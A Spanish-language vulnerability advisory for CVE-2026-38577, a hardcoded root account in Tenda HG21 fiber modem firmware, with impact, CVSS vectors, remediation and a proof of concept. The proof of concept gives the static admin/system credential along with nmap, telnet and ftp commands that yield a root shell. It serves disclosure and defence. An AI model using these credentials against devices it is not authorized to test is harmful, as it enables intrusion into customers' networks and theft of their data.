CVE-2026-38577 — Credenciales raíz codificadas en Tenda HG21

Resumen

Descripción

El análisis del firmware del módem de fibra XPON Tenda HG21 reveló una cuenta administrativa codificada integrada en la imagen de firmware distribuida. A la cuenta se le conceden privilegios completos de root (UID 0) y sus credenciales son estáticas en todos los dispositivos, lo que significa que cualquier atacante que pueda acceder a un servicio de administración expuesto en una unidad vulnerable puede autenticarse como root sin necesidad de conocer la contraseña de la interfaz web establecida por el cliente.

Dónde se encontró

• /etc/passwd en el firmware extraído incluye una entrada admin con un hash de contraseña SHA256crypt que se resuelve al valor estático system.
• El UID de la cuenta es 0 — es decir, es root, no una cuenta de servicio restringida.
• No hay /etc/shadow, por lo que el hash débil/estático en passwd es la única barrera que protege la cuenta.
• /etc/inetd.conf inicia telnetd y ftpd, ambos ejecutados como root, por lo que la cuenta codificada es accesible a través de la red, no solo desde una consola serie/UART.
• La interfaz de administración web se sirve únicamente mediante HTTP sin cifrar (sin TLS), lo que constituye una brecha de endurecimiento secundaria, pero no es en sí misma el CVE.

Impacto

Un atacante con acceso de red al servicio telnet (TCP/23) o FTP (TCP/21) de un dispositivo vulnerable puede iniciar sesión como admin usando la contraseña estática y obtener un shell root / acceso a archivos a nivel de root. Esto permite, como mínimo:

• Ejecución de código — shell root mediante telnet.
• Escalada de privilegios — no existe límite de privilegios; la cuenta comienza como root.
• Divulgación de información — acceso completo al sistema de archivos/ configuración, incluidas las credenciales de red del cliente almacenadas en el dispositivo.

Vectores CVSS del envío original (la puntuación del fabricante puede diferir una vez publicada):

• Vector de ataque: Red
• Privilegios requeridos: Ninguno (las credenciales están codificadas/son conocidas)
• Interacción del usuario: Ninguna
• Confidencialidad / Integridad / Disponibilidad: Alta / Alta / Alta

Prueba de concepto

Esta es una PoC basada en credenciales — demuestra que la cuenta codificada autentica y otorga root, no es un exploit de corrupción de memoria. Ejecútela únicamente contra un dispositivo que le pertenezca o para el que tenga autorización explícita de prueba.

1. Confirmar que la credencial existe en el firmware

# Extraer el firmware (binwalk o la herramienta del fabricante que prefiera)
binwalk -e US_HG21re_300002982_en_xpon_2.bin

# Localizar e inspeccionar el archivo passwd
find . -name passwd
cat squashfs-root/etc/passwd
# -> admin:<sha256crypt-hash-of-"system">:0:0:root:/root:/bin/sh

2. Confirmar que el servicio es accesible

nmap -p 21,23 <target-ip>

3. Autenticarse con la cuenta codificada

telnet <target-ip>
# login: admin
# password: system

ftp <target-ip>
# Name: admin
# Password: system

Un inicio de sesión exitoso en cualquiera de los dos servicios devuelve un shell/sesión FTP con privilegios de root (id reportará uid=0(root)).

Remediación

• El fabricante debe eliminar por completo la cuenta codificada admin/system, o como mínimo forzar una contraseña aleatoria única por dispositivo establecida en el primer arranque (no derivable únicamente del número de serie).
• Deshabilitar telnetd/ftpd por defecto; exigir una activación explícita y un canal autenticado y cifrado (SSH/SFTP) para la administración remota.
• Servir la interfaz de administración únicamente mediante HTTPS.
• Rotar la credencial estática en cualquier unidad ya desplegada mediante una actualización de firmware obligatoria y forzar un restablecimiento de contraseña en la actualización.

Cronología

Créditos

Descubierto y reportado por:

• Anmol Singh Rajput — LinkedIn
• Deepak G — LinkedIn

Referencias

• https://www.tenda.com.cn
• https://cwe.mitre.org/data/definitions/798.html